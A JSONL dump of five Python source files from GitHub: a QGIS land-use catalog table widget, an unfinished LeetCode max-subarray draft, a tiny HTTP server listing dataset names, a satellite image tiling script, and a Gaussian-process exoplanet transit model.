+{"seq_id":"23464060313","text":"from typing import Dict\n\nfrom pathlib import Path\n\n\nfrom qgis.PyQt.QtWidgets import QTableWidget, QTableWidgetItem, QPushButton, QMenu\nfrom qgis.PyQt.QtGui import QFont\nfrom qgis.PyQt import QtCore\n\nfrom qgis.core import (QgsVectorLayer,\n                       QgsFields,\n                       QgsFeature,\n                       QgsVectorDataProvider)\n\nfrom ..classes.catalog import E3dCatalog\nfrom ..constants import TextConstants\nfrom ..algorithms.utils import log\nfrom .table_widget_item import TableItemNotEditable\n\n\nclass TableWidgetLanduseAssignedCatalog(QTableWidget):\n\n    data_details_changed: bool = True\n\n    def __init__(self, parent=None,\n                 name_subcategory: str = None):\n\n        if name_subcategory is None:\n            name_subcategory = TextConstants.tw_lc_sub_cats\n\n        QTableWidget.__init__(self, parent)\n\n        self.setSortingEnabled(True)\n\n        self.name_subcategory = name_subcategory\n\n        self.rows_list = []\n\n        self.catalog = E3dCatalog()\n\n        self.data_dict = self.catalog.get_landuse_crop()\n\n        self.agrotechnology_dict = self.catalog.get_agrotechnology()\n        self.vegetation_dict = self.catalog.get_vegetation_condition()\n        self.protection_dict = self.catalog.get_protection_measure()\n        self.surface_dict = self.catalog.get_surface_condition()\n\n        self.setColumnCount(7)\n\n        self.setHorizontalHeaderItem(0, self.add_header(TextConstants.tw_lc_col_value))\n        self.setHorizontalHeaderItem(1, self.add_header(TextConstants.tw_lc_col_assigned))\n        self.setHorizontalHeaderItem(2, self.add_header(TextConstants.tw_lc_col_agrotechnology))\n        self.setHorizontalHeaderItem(3, self.add_header(TextConstants.tw_lc_col_vegetation_condition))\n        self.setHorizontalHeaderItem(4, self.add_header(TextConstants.tw_lc_col_protection_measure))\n        self.setHorizontalHeaderItem(5, self.add_header(TextConstants.tw_lc_col_surface_conditions))\n        self.setHorizontalHeaderItem(6, self.add_header(TextConstants.tw_lc_col_detail_level))\n\n        width_smaller = 0.6\n\n        self.setColumnWidth(0, self.columnWidth(1) * 2)\n        self.setColumnWidth(1, self.columnWidth(1) * 2)\n        self.setColumnWidth(2, int(self.columnWidth(1) * width_smaller))\n        self.setColumnWidth(3, int(self.columnWidth(1) * width_smaller))\n        self.setColumnWidth(4, int(self.columnWidth(1) * width_smaller))\n        self.setColumnWidth(5, int(self.columnWidth(1) * width_smaller))\n        self.setColumnWidth(6, int(self.columnWidth(1) * width_smaller))\n\n    def add_header(self, column_name: str) -> QTableWidgetItem:\n\n        item = QTableWidgetItem(column_name)\n        font: QFont = self.font()\n        font.setBold(True)\n        item.setFont(font)\n        item.setTextAlignment(QtCore.Qt.AlignCenter)\n\n        return item\n\n    @staticmethod\n    def filterTheDict(dictObj, callback):\n        newDict = dict()\n        # Iterate over all the items in dictionary\n        for (key, value) in dictObj.items():\n            # Check if item satisfies the given condition then add to new dict\n            if callback((key, value)):\n                newDict[key] = value\n        return newDict\n\n    def build_menu_button(self, menu: QMenu) -> QPushButton:\n\n        button = QPushButton()\n        button.setMenu(menu)\n        button.setStyleSheet(\"text-align:left;padding-left: 10px;\")\n        button.setContextMenuPolicy(QtCore.Qt.CustomContextMenu)\n        button.customContextMenuRequested.connect(self.handle_right_click)\n\n        return button\n\n    def build_menu_surface_conditions(self) -> QPushButton:\n\n        main_menu = QMenu()\n        main_menu.triggered.connect(lambda action: button.setText(action.text()))\n\n        main_menu.addAction(\"\")\n\n        for name in self.surface_dict.keys():\n            main_menu.addAction(name)\n\n        button = self.build_menu_button(main_menu)\n\n        return button\n\n    def build_menu_protection_measure(self) -> QPushButton:\n\n        main_menu = QMenu()\n        main_menu.triggered.connect(lambda action: button.setText(action.text()))\n\n        main_menu.addAction(\"\")\n\n        for name in self.protection_dict.keys():\n            main_menu.addAction(name)\n\n        button = self.build_menu_button(main_menu)\n\n        return button\n\n    def build_menu_vegetation_condition(self) -> QPushButton:\n\n        main_menu = QMenu()\n        main_menu.triggered.connect(lambda action: button.setText(action.text()))\n\n        main_menu.addAction(\"\")\n\n        for name in self.vegetation_dict.keys():\n            main_menu.addAction(name)\n\n        button = self.build_menu_button(main_menu)\n\n        return button\n\n    def build_menu_agrotechnology(self) -> QPushButton:\n\n        main_menu = QMenu()\n        main_menu.triggered.connect(lambda action: button.setText(action.text()))\n\n        main_menu.addAction(\"\")\n\n        for name in self.agrotechnology_dict.keys():\n\n            main_menu.addAction(name)\n\n        button = self.build_menu_button(main_menu)\n\n        return button\n\n    def details_changed(self):\n        self.data_details_changed = True\n\n    def build_menu_detail(self) -> QPushButton:\n\n        main_menu = QMenu()\n        main_menu.triggered.connect(lambda action: button.setText(action.text()))\n        main_menu.triggered.connect(self.details_changed)\n\n        main_menu.addAction(TextConstants.menu_status_ka5)\n        main_menu.addAction(TextConstants.menu_status_ka5_lv2)\n        main_menu.addAction(TextConstants.menu_status_ka5_lv1)\n        main_menu.addAction(TextConstants.menu_status_ka5_nodifferentiate)\n\n        button = self.build_menu_button(main_menu)\n\n        return button\n\n    def build_menu(self) -> QPushButton:\n\n        main_menu = QMenu()\n        main_menu.triggered.connect(lambda action: button.setText(action.text()))\n\n        main_level = self.filterTheDict(self.data_dict,\n                                        lambda elem: elem[1].id_landuse_lv1 == elem[1].id)\n\n        main_menu.addAction(\"\")\n        main_menu.addSeparator()\n\n        for (name, info) in main_level.items():\n\n            main_menu.addAction(name)\n\n            sublevels_1 = self.filterTheDict(self.data_dict,\n                                             lambda elem: elem[1].id_landuse_lv1 == info.id and\n                                                          elem[1].id != info.id)\n\n            if len(sublevels_1) > 0:\n\n                menu1 = QMenu(F\"{name} - {self.name_subcategory}\", main_menu)\n\n                for (sublevel1, info1) in sublevels_1.items():\n\n                    menu1.addAction(sublevel1)\n\n                    menu2 = QMenu(F\"{sublevel1} - {self.name_subcategory}\", menu1)\n\n                    sublevels_2 = self.filterTheDict(self.data_dict,\n                                                     lambda elem: elem[1].id_landuse_lv2 == info1.id and\n                                                     elem[1].id != info1.id)\n\n                    if len(sublevels_2) > 0:\n\n                        for sublevel2 in sublevels_2.keys():\n                            menu2.addAction(sublevel2)\n\n                        menu1.addMenu(menu2)\n                        menu1.addSeparator()\n\n                main_menu.addMenu(menu1)\n                main_menu.addSeparator()\n\n        button = QPushButton()\n        button.setMenu(main_menu)\n        button.setStyleSheet(\"text-align:left;padding-left: 10px;\")\n        button.setContextMenuPolicy(QtCore.Qt.CustomContextMenu)\n        button.customContextMenuRequested.connect(self.handle_right_click)\n\n        return button\n\n    def handle_right_click(self):\n        self.sender().setText(None)\n\n    def add_data(self, data: QgsVectorLayer, field: str):\n\n        fields: QgsFields = data.fields()\n        field_index = fields.lookupField(field)\n\n        unique_values = list(data.uniqueValues(field_index))\n        unique_values = sorted(unique_values)\n\n        if self.rows_list != unique_values:\n\n            self.rows_list = unique_values\n\n            self.setRowCount(len(unique_values))\n\n            for i in range(self.rowCount()):\n\n                self.setItem(i, 0, TableItemNotEditable(unique_values[i]))\n\n                self.setCellWidget(i, 1, self.build_menu())\n\n                self.setCellWidget(i, 2, self.build_menu_agrotechnology())\n                self.setCellWidget(i, 3, self.build_menu_vegetation_condition())\n                self.setCellWidget(i, 4, self.build_menu_protection_measure())\n                self.setCellWidget(i, 5, self.build_menu_surface_conditions())\n                self.setCellWidget(i, 6, self.build_menu_detail())\n                self.cellWidget(i, 6).setText(TextConstants.menu_status_ka5)\n\n    def is_filled(self):\n\n        rows_filled = [None] * self.rowCount()\n\n        for i in range(self.rowCount()):\n            text = self.cellWidget(i, 1).text()\n            rows_filled[i] = text is not None and text is not \"\"\n\n        return all(rows_filled)\n\n    def get_data(self) -> Dict:\n\n        data = {}\n\n        for i in range(self.rowCount()):\n\n            landuse_category = self.item(i, 0).text()\n            values = self.cellWidget(i, 1).text()\n\n            if values in self.data_dict.keys():\n                data.update({landuse_category: self.data_dict[values]})\n            else:\n                data.update({landuse_category: None})\n\n        return data\n\n    def data_changes(self) -> bool:\n\n        return self.data_details_changed\n\n    def get_data_change_approaches(self) -> Dict[str, str]:\n\n        data = {}\n\n        for i in range(self.rowCount()):\n\n            class_name = self.item(i, 0).text()\n            value = self.cellWidget(i, 6).text()\n\n            data.update({class_name: value})\n\n        self.data_details_changed = False\n\n        return data\n\n    def get_data_as_layer(self, join_field_name: str) -> QgsVectorLayer:\n\n        fields_str = f\"field={join_field_name}:string&\" \\\n                     f\"field={TextConstants.field_name_landuse_lv1_id}:int&\" \\\n                     f\"field={TextConstants.field_name_landuse_lv2_id}:int&\" \\\n                     f\"field={TextConstants.field_name_crop_id}:int&\" \\\n                     f\"field={TextConstants.field_name_crop_name}:string&\" \\\n                     f\"field={TextConstants.field_name_agrotechnology}:int&\" \\\n                     f\"field={TextConstants.field_name_vegetation_conditions}:int&\" \\\n                     f\"field={TextConstants.field_name_protection_measure}:int&\" \\\n                     f\"field={TextConstants.field_name_surface_conditions}:int\"\n\n        layer = QgsVectorLayer(f\"NoGeometry?{fields_str}\",\n                               \"source\",\n                               \"memory\")\n\n        fields = layer.fields()\n\n        layer_dp: QgsVectorDataProvider = layer.dataProvider()\n\n        for i in range(self.rowCount()):\n\n            text_orig = self.item(i, 0).text()\n            text_new = self.cellWidget(i, 1).text()\n\n            if text_new in self.data_dict.keys():\n                landuse = self.data_dict[text_new]\n            else:\n                landuse = None\n\n            agro = self.cellWidget(i, 2).text()\n\n            if agro in self.agrotechnology_dict.keys():\n                agro_id = self.agrotechnology_dict[agro]\n            else:\n                agro_id = None\n\n            vegetation = self.cellWidget(i, 3).text()\n\n            if vegetation in self.vegetation_dict.keys():\n                vegetation_id = self.vegetation_dict[vegetation]\n            else:\n                vegetation_id = None\n\n            protection = self.cellWidget(i, 4).text()\n\n            if protection in self.protection_dict.keys():\n                protection_id = self.protection_dict[protection]\n            else:\n                protection_id = None\n\n            surface = self.cellWidget(i, 5).text()\n\n            if surface in self.surface_dict.keys():\n                surface_id = self.surface_dict[surface]\n            else:\n                surface_id = None\n\n            f = QgsFeature(fields)\n\n            f.setAttribute(fields.lookupField(join_field_name), text_orig)\n\n            if landuse:\n                f.setAttribute(fields.lookupField(TextConstants.field_name_landuse_lv1_id), landuse.id_landuse_lv1)\n                f.setAttribute(fields.lookupField(TextConstants.field_name_landuse_lv2_id), landuse.id_landuse_lv2)\n                f.setAttribute(fields.lookupField(TextConstants.field_name_crop_id), landuse.id_crop)\n                f.setAttribute(fields.lookupField(TextConstants.field_name_crop_name), landuse.name)\n\n                if landuse.id_landuse_lv1 == 1:\n                    if agro_id:\n                        f.setAttribute(fields.lookupField(TextConstants.field_name_agrotechnology),\n                                       agro_id)\n\n                    if protection_id:\n                        f.setAttribute(fields.lookupField(TextConstants.field_name_protection_measure),\n                                       protection_id)\n\n            if vegetation_id:\n                f.setAttribute(fields.lookupField(TextConstants.field_name_vegetation_conditions),\n                               vegetation_id)\n\n            if surface_id:\n                f.setAttribute(fields.lookupField(TextConstants.field_name_surface_conditions),\n                               surface_id)\n\n            layer_dp.addFeature(f)\n\n        return layer\n","repo_name":"JanCaha/Erosion-Data-Preparation-Plugin","sub_path":"gui_classes/table_widget_landuse_assigned_catalog.py","file_name":"table_widget_landuse_assigned_catalog.py","file_ext":"py","file_size_in_byte":13312,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"14408864053","text":"from typing import List, Optional\nimport sys\n\ndef demo(nums):\n    if nums is None:\n        return None\n    n = len(nums)\n    if n <= 1:\n        return 0 if n == 0 else nums[0]\n\n    \"\"\"\n    dp【i] 代表从【0， i]中选取一个 达到最大值；\n    \n    dp[i] = \n    if dp[i-1] + nums[i] > dp[i-1]:\n        dp[i-1] + nums[i]\n    else:\n        dp[i] =  nums[i]\n    \"\"\"\n    dp = [0] * (n + 1)\n    dp[0] = nums[0]\n    pmax = -sys.maxsize\n    for i in range(n + 1):\n        dp[i] = max(dp[i - 1] + nums[i], nums[i])\n\n","repo_name":"DaiJitao/algorithm","sub_path":"leetcode_china/demo53.py","file_name":"demo53.py","file_ext":"py","file_size_in_byte":519,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"73519893448","text":"from http.server import HTTPServer, BaseHTTPRequestHandler\nimport cgi\n\ndataverse_files = { 1: 'B1E',2: 'B2E', 3: 'BME', 4: 'CDE', 5: 'CWE', 6:'DNE', 7:'DWE', 8: 'EBE', 9: 'EQE', \n                    10: 'FGE', 11: 'FRE', 12: 'FRG', 13: 'GRE', 14: 'HPE', 15 : 'HTE', 16: 'HTW' , 17: 'OFE', \n                    18: 'OUE', 19: 'TVE', 20: 'UTE', 21: 'WHE', 22: 'WHG', 23: 'WHW', 24: 'WOE'} \n\n\nclass requestHandler(BaseHTTPRequestHandler):\n    def do_GET(self):\n        if self.path.endswith('/dataverse_files'):\n            self.send_response(200)\n            self.send_header('content-type','text/html')\n            self.end_headers()\n            output = ''\n            output += '<html><body>'\t\t\t\n            output += '<h1>dataverse_files</h1>'\n            for (id,name) in dataverse_files.items():\n                output += '<h3><a href=\"\"> %s </a></h3>' % dataverse_files[id]\n                output += '</br>'\n            output += '</body></html>'\n            self.wfile.write(output.encode())\n            \ndef main():\n    PORT = 8000\n    server = HTTPServer(('', PORT),requestHandler)\n    print('Server running on port %s' % PORT)\n    server.serve_forever()\n\nif __name__ == '__main__':\n    main()\n\n\n\n\n","repo_name":"Maria00002/WebServer","sub_path":"webserver_dataverse_files_name.py","file_name":"webserver_dataverse_files_name.py","file_ext":"py","file_size_in_byte":1206,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"23438352080","text":"import math\nimport sys\nfrom crosscompute.libraries import script\nfrom os.path import join\n\nfrom ..libraries.satellite_image import SatelliteImage, MetricScope\n\n\ndef start(argv=sys.argv):\n    with script.Starter(run, argv) as starter:\n        starter.add_argument(\n            '--image_path', metavar='PATH', required=True,\n            help='satellite image')\n        starter.add_argument(\n            '--tile_metric_dimensions', metavar='WIDTH,HEIGHT',\n            type=script.parse_dimensions,\n            help='dimensions of extracted tile in metric units')\n        starter.add_argument(\n            '--overlap_metric_dimensions', metavar='WIDTH,HEIGHT',\n            type=script.parse_dimensions, default=(0, 0),\n            help='dimensions of tile overlap in metric units')\n        starter.add_argument(\n            '--tile_indices', metavar='INTEGER',\n            type=script.parse_indices,\n            help='comma-separated indices and ranges')\n        starter.add_argument(\n            '--count_tiles', action='store_true',\n            help='')\n\n\ndef run(\n        target_folder, image_path,\n        tile_metric_dimensions, overlap_metric_dimensions,\n        tile_indices, count_tiles):\n    if tile_metric_dimensions is None:\n        return save_image_properties(image_path)\n    elif count_tiles:\n        return print_tile_count(\n            image_path, tile_metric_dimensions, overlap_metric_dimensions,\n            tile_indices)\n    return save_tiles(\n        target_folder, image_path,\n        tile_metric_dimensions, overlap_metric_dimensions, tile_indices)\n\n\ndef save_image_properties(image_path):\n    image = SatelliteImage(image_path)\n    return dict(\n        image_metric_dimensions=image.to_metric_dimensions(\n            image.pixel_dimensions),\n        image_pixel_dimensions=image.pixel_dimensions,\n        image_band_count=image.band_count)\n\n\ndef print_tile_count(\n        image_path, tile_metric_dimensions, overlap_metric_dimensions,\n        tile_indices):\n    image = SatelliteImage(image_path)\n    image_scope = MetricScope(\n        image, tile_metric_dimensions, overlap_metric_dimensions)\n    print(image_scope.tile_count)\n\n\ndef save_tiles(\n        target_folder, image_path,\n        tile_metric_dimensions, overlap_metric_dimensions, tile_indices):\n    image = SatelliteImage(image_path)\n    image_scope = MetricScope(\n        image, tile_metric_dimensions, overlap_metric_dimensions)\n    maximum_tile_index = image_scope.tile_count - 1\n    tile_path_template = get_tile_path_template(\n        target_folder, maximum_tile_index)\n    if not tile_indices:\n        tile_indices = xrange(image_scope.tile_count)\n    for tile_index in tile_indices:\n        if tile_index > maximum_tile_index:\n            break\n        if tile_index % 100 == 0:\n            print('%s / %s' % (tile_index, maximum_tile_index))\n        pixel_frame = image_scope.get_pixel_frame_from_tile_index(\n            tile_index)\n        image_scope.render_array_from_pixel_frame(\n            get_tile_path(tile_path_template, tile_index, pixel_frame),\n            pixel_frame)\n    print('%s / %s' % (maximum_tile_index, maximum_tile_index))\n    return dict(\n        tile_pixel_dimensions=image_scope.tile_pixel_dimensions,\n        overlap_pixel_dimensions=image_scope.overlap_pixel_dimensions)\n\n\ndef get_tile_path_template(target_folder, maximum_tile_index):\n    placeholder_count = int(math.floor(math.log10(maximum_tile_index))) + 1\n    return join(target_folder, 'i%%0%dd-pul%%dx%%d.jpg' % placeholder_count)\n\n\ndef get_tile_path(path_template, tile_index, pixel_frame):\n    pixel_upper_left = pixel_frame[0]\n    return path_template % (\n        tile_index, pixel_upper_left[0], pixel_upper_left[1])\n","repo_name":"invisibleroads/find-buildings-cuda-convnet","sub_path":"count_buildings/scripts/get_tiles_from_image.py","file_name":"get_tiles_from_image.py","file_ext":"py","file_size_in_byte":3694,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"16"}
+{"seq_id":"36166651981","text":"import numpy as np\nimport george\nimport batman\nfrom george import kernels\nimport pandas as pd\nfrom time import time\nimport cProfile\n\nimport copy_reg\nimport types\n\ndef _pickle_method(m):\n    if m.im_self is None:\n        return getattr, (m.im_class, m.im_func.func_name)\n    else:\n        return getattr, (m.im_self, m.im_func.func_name)\n\ncopy_reg.pickle(types.MethodType, _pickle_method)    \n\n## @class TransitModel\n# Class to estimate the Transit Model with the customized kernel\n#\n# More details.\nclass TransitModel(object):\n    ## The constructor. Takes the disctionary of the parameters and data to customize the\n    # object. In case some values are missed, the default one are used.\n    # @param self The object pointer\n    # @param **kwargs Accepts the dictionary of data, transit and kernel parameters\n    def __init__(self, **kwargs):\n\n        self.batman_default_params = {\"t0\": 0, \"rp\": -10., \"u\": [-1., -1., -1., -1.],\n                                      \"per\": 1., \"a\": 15., \"inc\": 87., \"ecc\": 0.,\n                                      \"w\": 90., \"limb_dark\": 'nonlinear'}\n\n        self.transit_default_priors = {\"rp_prior_lower\": -1., \"rp_prior_upper\": 1.,\n                                       \"u_prior_lower\": -1.,   \"u_prior_upper\": 1.}\n\n        self.kernel_default_params = {\"kernel_a\": 1.,\n                                      \"kernel_gamma\": [1., 1., 1., 1.],\n                                      \"kernel_variance\": 1.,\n                                      \"kernel_type\": \"Custom\"}\n\n        self.kernel_default_priors = {\"kernel_a_prior_lower\": -5.,       \"kernel_a_prior_upper\": 5.,\n                                      \"kernel_gamma_prior_lower\": 0.,    \"kernel_gamma_prior_upper\": 10.,\n                                      \"kernel_variance_prior_lower\": 0., \"kernel_variance_prior_upper\": 5., }\n\n        self.data_defaults = {\"t\": np.linspace(0, 0, 1),\n                              \"y\": None,\n                              \"yerr1\": None}\n        self.n_errors = 0\n        self.err_names = [\"yerr1\"]\n        self.errors_list = []\n        self.params = batman.TransitParams()\n        self._model = None\n\n        # uncomment for the Python 2 and comment the line after next\n        for (param, default) in self.batman_default_params.iteritems():\n        #for (param, default) in self.batman_default_params.items():\n            setattr(self.params, param, kwargs.get(param, default))\n\n        # setting the attributes of the class other then light curve parameters\n        self.set_values(self.transit_default_priors, **kwargs)\n        self.set_values(self.kernel_default_params, **kwargs)\n        self.set_values(self.kernel_default_priors, **kwargs)\n        self.set_values(self.data_defaults, **kwargs)\n\n        # update the limb darkening parameters\n        self.read_limb_dark_params(**kwargs)\n\n        # collecting the data about errors that was passed\n        self.read_errors_data(**kwargs)\n\n        if len(self.kernel_gamma) != (self.n_errors + 1):\n            raise ValueError('For the kernel gamma hyper parameters expected ', self.n_errors + 1,\n                             ' values. Instead got ', len(self.kernel_gamma), ' .')\n\n        if self.params.rp == self.batman_default_params[\"rp\"]:\n            raise ValueError(\" The value for the rp parameter of the transit model was not passed.\")\n\n        if self.params.u == self.batman_default_params[\"u\"]:\n            raise ValueError(\" The value for the u parameters of the transit model was not passed.\")\n\n        if self.kernel_variance_prior_lower < 0.:\n            raise ValueError(\" The prior for kernel variance cannot be negative.\")\n\n        self.batman_model = batman.TransitModel(self.params, self.t)\n        self.model = self.params\n\n        self.data_dict = dict(zip(self.t, zip(*self.errors_list)))\n\n    ## Set the parameters of the model based on the values provided.\n    # In case some values are missed, the default ones will be taken.\n    # @param self The object pointer\n    # @param dict_of_values Dictionary of the parameters to pass\n    def set_values(self, dict_of_values, **kwargs):\n        for (param, default) in dict_of_values.iteritems():\n            setattr(self, param, kwargs.get(param, default))\n\n    ## Forms a list of the limb darkening parameters from the user input\n    # In case some values are missed, the default ones will be taken.\n    # @param self The object pointer\n    # @param **kwargs Dictionary of the parameters to pass\n    def read_limb_dark_params(self, **kwargs):\n        u_names = []\n        for keyword in kwargs:\n            if keyword.startswith(\"u\") and not keyword.startswith(\"u_\"):\n                u_names.append(keyword)\n\n        if len(u_names) == 0:\n\n            set_u = self.batman_default_params[\"u\"]\n        else:\n            u_names.sort()\n\n            set_u = []\n            for ux in u_names:\n                set_u.append(kwargs.get(ux))\n\n        setattr(self.params, 'u', set_u)\n\n    ## Collects the data about errors that was passed\n    # In case some values are missed, the default ones will be taken.\n    # @param self The object pointer\n    # @param **kwargs Dictionary of the parameters to pass\n    def read_errors_data(self, **kwargs):\n        err_names = []\n        for keyword in kwargs:\n            if keyword.startswith(\"yerr\"):\n                err_names.append(keyword)\n\n        if len(err_names) == 0:\n            # nothing to initialize/update\n            return\n\n        else:\n            for er_name in err_names:\n                setattr(self, er_name, kwargs.get(er_name, None))\n\n                if er_name not in self.err_names:\n                    self.err_names.append(er_name)\n\n        self.n_errors = 0\n        for name in self.err_names:\n            if getattr(self, name) is not None:\n                self.n_errors+=1\n                self.errors_list.append(getattr(self, name))\n\n        self.data_dict = dict(zip(self.t, zip(*self.errors_list)))\n\n    ## Updates the data for the given parameters\n    # @param self The object pointer\n    # @param time(=None) Time data\n    # @param obs(=None) Observations data\n    # @param **kwargs Handles arbitrary number of the errors that was passed\n    def update_data(self, time=None, obs=None, **kwargs):\n\n        if time is not None:\n            setattr(self, 't', time)\n\n        if obs is not None:\n            setattr(self, 'y', obs)\n\n        self.read_errors_data(**kwargs)\n\n        self.updateTransitMode()\n\n    ## Updates the parameters of the model\n    # @param self The object pointer\n    # @param rp_new New value of the rp parameter\n    # @param u_new New list of values for the limb darkening\n    def update_transit_params(self, rp_new, u_new):\n\n        u_prev = self.params.u\n\n        if rp_new is None:\n            raise ValueError(\"The None was passed as rp parameter.\")\n\n        elif u_new is None:\n            raise ValueError(\"The None was passed as u parameter.\")\n\n        elif len(u_new) != len(u_prev):\n            raise ValueError('The length of new limb darkening parameter is wrong. Should be ',\n                             len(u_prev), ' instead got ', len(u_new),'. The current mode is ', self.params.limb_dark)\n\n        else:\n            self.params.rp = rp_new\n            self.params.u = u_new\n            self.updateTransitMode()\n\n    ## Updates the hyperparameters of the kernel function\n    # @param self The object pointer\n    # @param a_new New value of the kernel_a\n    # @param gamma_new New value of the kernel_gamma\n    def update_kernel_params(self, a_new=None, gamma_new=None, variance_new=None):\n\n        if a_new is None:\n            setattr(self, \"kernel_a\", self.kernel_a)\n        else:\n            setattr(self, \"kernel_a\", a_new)\n\n        if gamma_new is None:\n            setattr(self, \"kernel_gamma\", self.kernel_gamma)\n        elif type(gamma_new) != list:\n            raise TypeError(\"For the gamma parameters list is expected. Instead got \", type(gamma_new))\n        elif len(gamma_new) != (self.n_errors + 1):\n            raise ValueError(\"The length of eta is wrong. List of size\", (self.n_errors + 1),\n                             \"is expected.\")\n        else:\n            setattr(self, \"kernel_gamma\", gamma_new)\n\n        if variance_new is None:\n            setattr(self, \"kernel_variance\", self.kernel_variance)\n\n        else:\n            setattr(self, \"kernel_variance\", variance_new)\n\n    ## Updates the transit model parameters\n    # @param self The object pointer\n    def updateTransitMode(self):\n        self.batman_model = batman.TransitModel(self.params, self.t)\n        self.model = self.params\n        self.model_initialized = True\n\n    ## Returns the flux values array\n    # @param self The object pointer\n    # @return Model-generated observation for the given transit parameters\n    @property\n    def model(self):\n        return self._model\n\n    @model.setter\n    def model(self, params):\n        self._model = self.batman_model.light_curve(params)\n\n    ## Mean function for the kernel meaan estimation\n    # @param self The object pointer\n    # @param t The time data\n    def meanfnc(self, t):\n        return self.model\n\n    ## Computes the kernel function for the arbitrary sources of errors in the observations\n    # @param self The object pointer\n    # @param x1 First time coordinate\n    # @param x2 Second time coordinate\n    # @param p(=None) Kernel auxiliary parameters\n    # @return Covariance between two points in time\n    def kernelfnc(self, x1, x2, p=None):\n        ksi, sig, eta = self.kernel_a, self.kernel_variance, self.kernel_gamma\n        s = eta[0]*((x1[0]-x2[0])**2)\n\n        for i in range(self.n_errors):\n            s += eta[(i+1)]*((self.data_dict[x1[0]][i]-self.data_dict[x2[0]][i])**2)\n\n        val = ksi * np.exp(-s) + (x1 == x2) * sig\n\n        return val\n\n    ## Computes the log likelihood from gaussian process\n    # @param self The object pointer\n    # @return Log likelihood of a set of observations under the Gaussian process model.\n    def lnlike_gp(self):\n\n        if (self.t is None) | (self.y is None):\n            raise ValueError(\"Data is not properly initialized. Reveived Nones.\")\n\n        elif len(self.t) == 1:\n            raise ValueError(\"Time data is not properly initialized. Expected array of size greater then 1.\")\n\n        else:\n\n            t, y = self.t, self.y\n\n            if self.kernel_type == \"Standard\":\n                kernel = 1.*kernels.ExpSquaredKernel(5.) + kernels.WhiteKernel(2.)\n                gp = george.GP(kernel, mean=self.meanfnc)\n                gp.compute(t, self.yerr1)\n                return gp.lnlikelihood(y - self.model)\n\n            else:\n                kernel = kernels.PythonKernel(self.kernelfnc)\n                gp = george.GP(kernel, mean=self.meanfnc)\n                gp.compute(t)\n                return gp.lnlikelihood(y - self.model)\n\n    ## Checks if the batman parameters are within the predefined prior ranges\n    # @param self The object pointer\n    # @return Returns 0 in case transit parameters whithin the prior range and -inf otherwise\n    def lnprior_base(self):\n\n        if not self.rp_prior_lower < self.params.rp < self.rp_prior_upper:\n            return -np.inf\n\n        for el in self.params.u:\n            if not self.u_prior_lower < el < self.u_prior_upper:\n                return -np.inf\n\n        return 0.0\n\n    ## Checks if the kernel parameters are within the predefined prior ranges\n    # @param self The object pointer\n    # @return Returns -inf in case parameters out of the range and 0.0 if within the prior range\n    def lnprior_gp(self):\n\n        if not self.kernel_a_prior_lower < self.kernel_a < self.kernel_a_prior_upper:\n            return -np.inf\n\n        for el in self.kernel_gamma:\n            if not self.kernel_gamma_prior_lower < el < self.kernel_gamma_prior_upper:\n                return -np.inf\n\n        if not self.kernel_variance_prior_lower <= self.kernel_variance < self.kernel_variance_prior_upper:\n            return -np.inf\n\n        return self.lnprior_base()\n\n    ## Computes the log probability of the parameters for the given data\n    # @param self The object pointer\n    # @return Log probability of the parameters\n    def lnprob_gp(self):\n\n        lp = self.lnprior_gp()\n\n        if not np.isfinite(lp):\n            return -np.inf\n\n        self.lnprob = lp + self.lnlike_gp()\n\n        return self.lnprob\n\n    ## For a given set of parameters get predicted y values at t, and\n    # separate this into the transit signal component and the noise component\n    # @param self The object pointer\n    # @param p Parameters of the transit\n    # @param t Time data\n    # @param y Observations data\n    # @param yerr Errors data\n    # @return Predicted observations\n    def sample_conditional(self, p, t, y, yerr):\n        if self.params.limb_dark == 'quadratic':\n            rp_new, u0, u1, kernel_a, kernel_sig2 = p[:5]\n            u_new = [u0, u1]\n            kernel_gamma = p[5:].tolist()\n\n        if self.params.limb_dark == 'nonlinear':\n            rp_new, u0, u1, u2, u3, kernel_a, kernel_sig2 = p[:7]\n            u_new = [u0, u1, u2, u3]\n            kernel_gamma = p[7:].tolist()\n\n        self.update_transit_params(rp_new=rp_new, u_new=u_new)\n        self.update_kernel_params(a_new=kernel_a, gamma_new=kernel_gamma, variance_new=kernel_sig2)\n\n        kernel = kernels.PythonKernel(self.kernelfnc)\n        gp = george.GP(kernel, mean=self.meanfnc)\n        gp.compute(t, yerr)\n\n        sample = gp.sample_conditional(y - self.model,t)  +  self.model\n\n        return sample\n\n\n    ## MCMC API for the Transit Model object\n    # @param self The object pointer\n    # @param p Parameters of the transit\n    # @param t Time data\n    # @param y Observations data\n    # @param yerr Errors data\n    # @return Log probability of the chosen parameters\n    def lnprob_mcmc(self, p, t, y, yerr):\n        if self.params.limb_dark == 'quadratic':\n            rp_new, u0, u1, kernel_a, kernel_sig2 = p[:5]\n            u_new = [u0, u1]\n            kernel_gamma = p[5:].tolist()\n\n        if self.params.limb_dark == 'nonlinear':\n            rp_new, u0, u1, u2, u3, kernel_a, kernel_sig2 = p[:7]\n            u_new = [u0, u1, u2, u3]\n            kernel_gamma = p[7:].tolist()\n\n        self.update_transit_params(rp_new=rp_new, u_new=u_new)\n        self.update_kernel_params(a_new=kernel_a, gamma_new=kernel_gamma, variance_new=kernel_sig2)\n\n        return self.lnprob_gp()\n","repo_name":"ckreisch/ExoplanetSpectra","sub_path":"exospec/TransitModel.py","file_name":"TransitModel.py","file_ext":"py","file_size_in_byte":14382,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
